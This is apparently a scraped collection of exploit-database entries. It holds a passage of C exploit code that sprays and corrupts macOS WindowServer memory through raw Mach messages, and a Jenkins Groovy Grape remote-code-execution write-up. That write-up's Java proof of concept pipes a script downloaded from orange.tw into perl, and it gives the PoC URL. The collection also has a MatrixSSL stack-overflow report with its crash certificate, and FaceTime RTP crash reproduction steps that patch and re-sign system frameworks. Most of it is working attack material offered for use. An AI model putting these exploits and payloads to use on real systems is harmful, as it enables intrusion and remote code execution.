    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;

    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);

    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));

    timed_log("[+] Patching it...\n");
    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
        uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3);
        if (position == NULL)
            break;
        position[0] = 0xCF; // Array to Set
        nb_arrays ++;
        ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail);
        cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail);

    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail);
    CFRelease(data);
    data = NULL;
    return 0;
    
fail:
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
        if (set_array_values[i] != NULL)
            CFRelease(set_array_values[i]); 
    if (data != NULL)
        CFRelease(data);
    if (big_array != NULL)
        CFRelease(big_array);
    return -1;
}

static int trigger_the_bug(int connection_id)
{
    ProcessSerialNumber psn;

    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    int32_t index = VULN_IDX;
    int err;
    while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0)
    {
        // ENFORCE((err == 1011) || (err == -600), fail);
        ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB
    }
    return 0;
fail:
    return -1;
}


static int reuse_allocation(int connection_id)
{
    CFNumberRef set_array_values[8] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;
    bool free_tmp_application = false;
    bool free_application = true;

    timed_log("[+] Forging our set...\n");

    uint8_t set_hash_table[13];
    memset(set_hash_table, 1, sizeof(set_hash_table));

    uint64_t v;
    v = 0x2000025;
    set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0
    ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail);
    set_hash_table[0] = 0;

    v = 0x2000021;
    set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1
    ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail);
    set_hash_table[1] = 0;

    v = 0;
    uint32_t set_size = 2;
    while (set_size < COUNT_OF(set_array_values))
    {
        CFNumberRef n;
        n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
        ENFORCE(n != NULL, fail);
        uint32_t h = CFHash(n)%COUNT_OF(set_hash_table);
        if (set_hash_table[h] == 1)
        {
            set_array_values[set_size] = n;
            set_hash_table[h] = 0;
            set_size ++;
        }
        else
        {
            CFRelease(n);
        }
        v++;
        ENFORCE(v < 0xFFFFF, fail);
    }

    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);

    timed_log("[+] Creating our big set array...\n");

    for (uint32_t i = 0; i < NB_REUSE; i++)
    {
        CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
        ENFORCE(tmp_array != NULL, fail);
        CFArrayAppendValue(big_array, tmp_array);
        CFRelease(tmp_array);
    }

    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
        CFRelease(set_array_values[i]);
        set_array_values[i] = NULL;
    }

    timed_log("[+] Serializing it...\n");

    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;

    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);

    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));

    timed_log("[+] Patching it...\n");

    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
        uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3);
        if (position == NULL)
            break;
        position[0] = 0xC8; // Array to Set
        nb_arrays ++;
        ENFORCE(nb_arrays <= NB_REUSE, fail);
        cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == NB_REUSE, fail);

    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
    free_application = false;

    for (uint32_t i = 0; i < 1000; i++)
    {
        char key[0x80];
        ProcessSerialNumber psn;

        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x56780000;

        // help changing core...
        ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
        free_tmp_application = true;
        // we use a long name to make sure it'll not be placed in our holes :)
        snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i);
        ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
        ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
        free_tmp_application = false;
        usleep(10);
    }
    CFRelease(data);
    data = NULL;
    return 0;
    
fail:
    if (free_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (free_tmp_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x56780000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
        if (set_array_values[i] != NULL)
            CFRelease(set_array_values[i]); 
    if (data != NULL)
        CFRelease(data);
    if (big_array != NULL)
        CFRelease(big_array);
    return -1;
}

static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size)
{
    uint32_t image_count = _dyld_image_count();

    for (uint32_t i = 0; i < image_count; i++)
    {
        const char *current_dylib_name = _dyld_get_image_name(i);
        ENFORCE(current_dylib_name != NULL, fail);
        if (strcmp(current_dylib_name, dylib_name) != 0)
            continue;
        const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i);
        ENFORCE(dylib_header != NULL, fail);
        ENFORCE(dylib_header->magic == MH_MAGIC_64, fail);

        uint32_t max_size = dylib_header->sizeofcmds;
        ENFORCE(max_size < 0x2000, fail);

        struct load_command *load_command = (struct load_command *)(dylib_header+1);
        struct load_command *next_command;
        ENFORCE(dylib_header->ncmds < 0x100, fail);
        for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command)
        {
            ENFORCE(load_command->cmdsize <= max_size, fail);
            ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail);
            next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize);
            max_size -= load_command->cmdsize;

            if (load_command->cmd != LC_SEGMENT_64)
                continue;

            ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail);
            struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command;
            if (strcmp(segment_command_64->segname, "__TEXT") != 0)
                continue;
            struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1);
            ENFORCE(segment_command_64->nsects < 0x100, fail);
            ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail);
            for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++)
            {
                if (strcmp(sections[sect_i].sectname, "__text") != 0)
                    continue;
                *text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i));
                *text_size = sections[sect_i].size;
                return 0;
            }
        }
    }
fail:
    return -1;
}

#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_serialized_value;
        NDR_record_t NDR_record;
        uint64_t connection_id;
        uint32_t key_len;
        char key[128];
        uint32_t serialized_value_length;
} CGSSetConnectionProperty_message_t;
#pragma pack(pop)

static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate)
{
    CGSSetConnectionProperty_message_t msg;
    memset(&msg, 0, sizeof(msg));

    msg.body.msgh_descriptor_count = 1;
    
    msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR;
    msg.ool_serialized_value.address = (void *)serialized_value;
    msg.ool_serialized_value.size = serialized_value_length;
    msg.ool_serialized_value.deallocate = deallocate;
    msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY;

    msg.NDR_record = NDR_record;
    msg.connection_id = connection_id;
    strncpy(msg.key, key_value, sizeof(msg.key));
    msg.key_len = 127;
    msg.serialized_value_length = serialized_value_length;


    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    msg.header.msgh_remote_port = connection_port;
    msg.header.msgh_id = 29398;

    kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
    return kr;
}


#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_serialized_value;
        NDR_record_t NDR_record;
        uint32_t serialized_value_length;
} CGSSetPerUserConfigurationData_message_t;
#pragma pack(pop)

#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        NDR_record_t NDR_record;
        uint64_t process_serial_number;
        uint32_t connection_id;
} CGSSetAuxConn_message_t;
#pragma pack(pop)

static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number)
{
    CGSSetAuxConn_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.process_serial_number = *(uint64_t *)process_serial_number;

    msg.NDR_record = NDR_record;

    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29368;

    return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
}

#pragma pack(push, 4)
typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    ProcessSerialNumber sn;
    uint32_t session_id;
    uint32_t session_attributes;
    uint32_t unknown_2;
    uint32_t pid;
    uint32_t padding_1;
    uint32_t app_name_len;
    char app_name[128];
    char multi_process;
    uint32_t connection_id;
    uint32_t padding_2;
} CGSCreateApplication_message_t;

typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    kern_return_t retcode;
} CGSCreateApplication_reply_t;
#pragma pack(pop)

static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id)
{
    CGSCreateApplication_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.sn = sn;
    msg.session_id = session_id;
    msg.session_attributes = session_attributes;
    msg.unknown_2 = unknown_2;
    msg.pid = pid;
    strncpy(msg.app_name, app_name, sizeof(msg.app_name));
    msg.app_name_len = 127;
    msg.multi_process = multi_process;
    msg.connection_id = sent_connection_id;

    msg.NDR_record = NDR_record;

    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29507;
    msg.header.msgh_local_port = mig_get_reply_port();

    mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0);
    if (kr != KERN_SUCCESS)
    {
        switch (kr) {
            case MACH_SEND_INVALID_DATA:
            case MACH_SEND_INVALID_DEST:
            case MACH_SEND_INVALID_HEADER:
                mig_put_reply_port(msg.header.msgh_local_port);
                break;
            default: 
                mig_dealloc_reply_port(msg.header.msgh_local_port);
        }
    }
    else
        kr = ((CGSCreateApplication_reply_t *)&msg)->retcode;
    return kr;
}


static void timed_log(char* format, ...)
{
    char buffer[30];

    struct tm* time_info;
    time_t t = time(NULL);
    time_info = localtime(&t);
    strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
    fputs(buffer, stderr);

    va_list args;
    va_start(args, format);
    vfprintf(stderr, format, args);
    va_end(args);
}


# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip
HireHackking 
In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Poc {
    public Poc(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}


$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
HireHackking 
I happened to notice that a public X.509 certificate testcase for CVE-2014-1569 caused a stack buffer overflow in MatrixSSL.

I cleaned up the testcase a bit, to make a better demonstration. You can test it with the certValidate tool that comes with MatrixSSL.

$ gdb -q --args matrixssl/matrixssl/test/certValidate stackbufferoverflow.pem
Reading symbols from matrixssl/matrixssl/test/certValidate...done.
(gdb) r
Starting program: matrixssl/matrixssl/test/certValidate stackbufferoverflow.pem
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
  Loaded chain file stackbufferoverflow.pem
        [0]:berserk.filippo.io
        [1]:(null)
WARN subject not provided, SUBJ validation will be skipped

Program received signal SIGSEGV, Segmentation fault.
0x00005555555c5164 in pubRsaDecryptSignedElementExt
(gdb) bt
#0  0x00005555555c5164 in pubRsaDecryptSignedElementExt
#1  0x4141414141414141 in ?? ()
#2  0x0000000000000000 in ?? ()

I believe any client or server that validates certificates will be affected by this, and as MatrixSSL is usually used in embedded devices where mitigations are usually not quite as thorough as modern distributions, exploitation might not be difficult.

The bug is that pubRsaDecryptSignedElementExt() uses a fixed size stack buffer, but then doesn't check if the key size exceeds it. The patch below should solve it.

diff --git a/crypto/pubkey/rsa_pub.c b/crypto/pubkey/rsa_pub.c
index f1d57e0..fa36e42 100644
--- a/crypto/pubkey/rsa_pub.c
+++ b/crypto/pubkey/rsa_pub.c
@@ -63,6 +63,12 @@ int32_t psRsaDecryptPubExt(psPool_t *pool,
         return PS_ARG_FAIL;
     }
 
+    if (*outlen < key->size)
+    {
+        psTraceCrypto("Error on bad outlen parameter to psRsaDecryptPub\n");
+        return PS_ARG_FAIL;
+    }
+
     ptLen = inlen;
 
     /* Raw, in-place RSA decryption. */


I'm filing this issue just for tracking, as the testcase is already public I just went ahead and created a public issue:

https://github.com/matrixssl/matrixssl/issues/26

It looks like the maintainers are preparing to publish version 4.0.2 to correct this bug:

https://github.com/matrixssl/matrixssl/commit/1fe26f3474706fc2dd4acd42a99167171dc34959


-----BEGIN CERTIFICATE-----
MIID+DCCAuCgAwIBAgIIAAAAAAAAAAAwDQYJKoZIhvcNAQEFBQAwYzELMAkGA1UEBhMCVVMxITAf
BgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3Mg
MiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNjA1MDUxNDUwMzMAFw0xNzA1MDUxNDU1MzMA
MHMxCzAJBgMAAAAAAgAAMRIwEAYDAAAAAAkAAAAAAAAAAAAxGzAZBgMAAAAAEgAAAAAAAAAAAAAA
AAAAAAAAADEWMBQGAwAAAAANAAAAAAAAAAAAAAAAADEbMBkGA1UEAxMSYmVyc2Vyay5maWxpcHBv
LmlvMIIAADANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAIDAAAAo4EAMIGcMAAGA1UdDwEBAAQAAwIAADAABgNVHSUEADAUBggAAAAAAAAAAAYI
AAAAAAAAAAAwAAYDVR0TAQEABAAwADAABgNVHQ4EAAQUAAAAAAAAAAAAAAAAAAAAAAAAAAAwHwYD
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwHQYDAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAMA0GCSqGSIb3DQEBBQUAA4IBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoU9YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAIRcuKDsOIw8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEh
MB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBE
YWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3
MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRo
ZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3Mg
MiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggEN
ADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCA
PVYYYwhv2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6w
wdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXi
EqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMY
avx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+
YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLE
sNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h
/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5
IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmlj
YXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
ggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNy
OO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7P
TMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mER
dEr/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5Cuf
ReYNnyicsbkqWletNw+vHX/bvZ8=
-----END CERTIFICATE-----
HireHackking 
There is a memory corruption issue that occurs when processing a malformed RTP video stream in FaceTime. It appears to be related to processing textures.

* thread #7, stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
  * frame #0: 0x00007fff56baaa92 CoreVideo`CVMetalTextureBacking::releaseBackingUsage() + 20
    frame #1: 0x00007fff56bae4c4 CoreVideo`CVMetalTextureCache::bufferBackingNotInUse(CVBufferBacking*) + 258
    frame #2: 0x00007fff56b9eac5 CoreVideo`CVBufferBacking::releaseUsage() + 79
    frame #3: 0x00007fff56bab20e CoreVideo`CVMetalTexture::finalize() + 42
    frame #4: 0x00007fff55093e7c CoreFoundation`_CFRelease + 284
    frame #5: 0x00007fff617bdac5 VideoToolbox`VTMetalTransferSessionTransferImageSync + 3096
    frame #6: 0x00007fff6176f4fb VideoToolbox`VTPixelTransferSessionTransferImage + 11922
    frame #7: 0x000000010629b3cb CMIOUnits`___lldb_unnamed_symbol331$$CMIOUnits + 773
    frame #8: 0x000000010629909e CMIOUnits`___lldb_unnamed_symbol325$$CMIOUnits + 1868
    frame #9: 0x0000000106297aa4 CMIOUnits`___lldb_unnamed_symbol322$$CMIOUnits + 5338
    frame #10: 0x000000010630bb3b CMIOUnits`___lldb_unnamed_symbol1297$$CMIOUnits + 347
    frame #11: 0x000000010627fda7 CMIOUnits`___lldb_unnamed_symbol193$$CMIOUnits + 267
    frame #12: 0x00000001062bf2bb CMIOUnits`___lldb_unnamed_symbol630$$CMIOUnits + 26
    frame #13: 0x00000001062f8061 CMIOUnits`___lldb_unnamed_symbol1126$$CMIOUnits + 65
    frame #14: 0x000000010630bac0 CMIOUnits`___lldb_unnamed_symbol1297$$CMIOUnits + 224
    frame #15: 0x000000010627fda7 CMIOUnits`___lldb_unnamed_symbol193$$CMIOUnits + 267
    frame #16: 0x00000001062bf2bb CMIOUnits`___lldb_unnamed_symbol630$$CMIOUnits + 26
    frame #17: 0x00000001062f8061 CMIOUnits`___lldb_unnamed_symbol1126$$CMIOUnits + 65
    frame #18: 0x0000000106316e34 CMIOUnits`___lldb_unnamed_symbol1387$$CMIOUnits + 376
    frame #19: 0x000000010627fda7 CMIOUnits`___lldb_unnamed_symbol193$$CMIOUnits + 267
    frame #20: 0x0000000106317612 CMIOUnits`___lldb_unnamed_symbol1392$$CMIOUnits + 54
    frame #21: 0x00000001062c009c CMIOUnits`___lldb_unnamed_symbol654$$CMIOUnits + 55
    frame #22: 0x00007fff560868c9 CoreMediaIO`CMIOGraph::PullOutputUnits(bool, bool&, bool&, bool&) + 279
    frame #23: 0x00007fff56086eee CoreMediaIO`CMIOGraph::DoWork(unsigned int) + 836
    frame #24: 0x00007fff56089543 CoreMediaIO`CMIO::Thread::QueuedTWorkThread<unsigned int>::DoWork() + 125
    frame #25: 0x00007fff56092c67 CoreMediaIO`CMIO::Thread::SignaledThread::ThreadLoop() + 227
    frame #26: 0x00007fff56092b5a CoreMediaIO`CMIO::Thread::SignaledThread::WorkQueuedThreadCallback(void*) + 154
    frame #27: 0x00007fff55f6c98b CoreMedia`figThreadMain + 277
    frame #28: 0x00007fff7d10c661 libsystem_pthread.dylib`_pthread_body + 340
    frame #29: 0x00007fff7d10c50d libsystem_pthread.dylib`_pthread_start + 377
    frame #30: 0x00007fff7d10bbf9 libsystem_pthread.dylib`thread_start + 13
(lldb) down
frame #0: 0x00007fff56baaa92 CoreVideo`CVMetalTextureBacking::releaseBackingUsage() + 20
CoreVideo`CVMetalTextureBacking::releaseBackingUsage:
->  0x7fff56baaa92 <+20>: jmpq   *0x48(%rax)
    0x7fff56baaa95 <+23>: popq   %rbp
    0x7fff56baaa96 <+24>: retq   
    0x7fff56baaa97 <+25>: nop    

Additional crash dumps are attached.

This bug can be reached if a user accepts a call from a malicious caller. This issue only affects FaceTime on iOS and Mac. I tested on iOS 12.1.1 and Mac OS X 10.13.6.

To reproduce issue on a Mac:

1) Add the line:

	(subpath "/out")

to the (allow file-read* file-write* section of  /System/Library/Sandbox/Profiles/com.apple.avconferenced.sb 

2) Add the line:

	(allow file-read* file-write*
		(subpath "/out"))

to com.apple.identityservicesd.sb and restart the host


3) Compile video-replay-avc.cpp using:

	g++ -std=c++11 -g -dynamiclib -o librecord.so video-replay-avc.cpp

4) Copy the output lib, librecord.so to /usr/lib/libSP.so

5) Sign the library by calling:

	sudo codesign -f -s - /usr/lib/libSP.so

6) Compile video-replay-identity.cpp using:

	g++ -std=c++11 -g -dynamiclib -o librecord_IDS.so video-replay-identity.cpp

7) Copy the output lib, librecord_IDS.so to /usr/lib/libSP_IDS.so

8) Sign the library by calling:

	sudo codesign -f -s - /usr/lib/libSP_IDS.so

9) Download and build https://github.com/Tyilo/insert_dylib

10) Copy /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference to a local directory and run the command below.

	insert_dylib --strip-codesig /usr/lib/libSP.so AVConference

11) Copy AVConference_patched to /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference

12) Sign the binary by calling:

	sudo codesign -f -s - /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference

13) Copy /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation to a local directory and run the command below.

	insert_dylib --strip-codesig /usr/lib/libSP_IDS.so IDSFoundation

14) Run the following commands, quickly, in sequence:

	sudo cp IDSFoundation_patched /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation
	sudo codesign -f -s - /System/Library/PrivateFrameworks/IDSFoundation.framework/Versions/Current/IDSFoundation

NOTE: If you are too slow, the terminal may crash because it detects IDSFoundation is unsigned. If this happens, open up the terminal and try the codesign call again. The terminal usually stays open a second or two before it crashes.

15) Extract out.zip into /out and make it world readable

16) Kill the avconferenced and identityservicesd processes. They will restart automatically

17) Make a FaceTime call to the target.

I performed these steps on a MacBook Air running 10.14.1

Taking a second look at this, the root cause of this issue is probably an overflow in splitting RED packets:

0   libsystem_platform.dylib      	0x00007fff7d106164 _platform_memmove$VARIANT$Haswell + 580
1   com.apple.AVConference        	0x00007fff646cb3f9 VCAudioRedBuilder_UpdateAudioPacketWithRedPayload + 50
2   com.apple.AVConference        	0x00007fff6486360b _VCAudioReceiver_SplitRedPacket + 166
3   com.apple.AVConference        	0x00007fff648646e7 _VCAudioReceiver_ProcessRTPPacket + 140
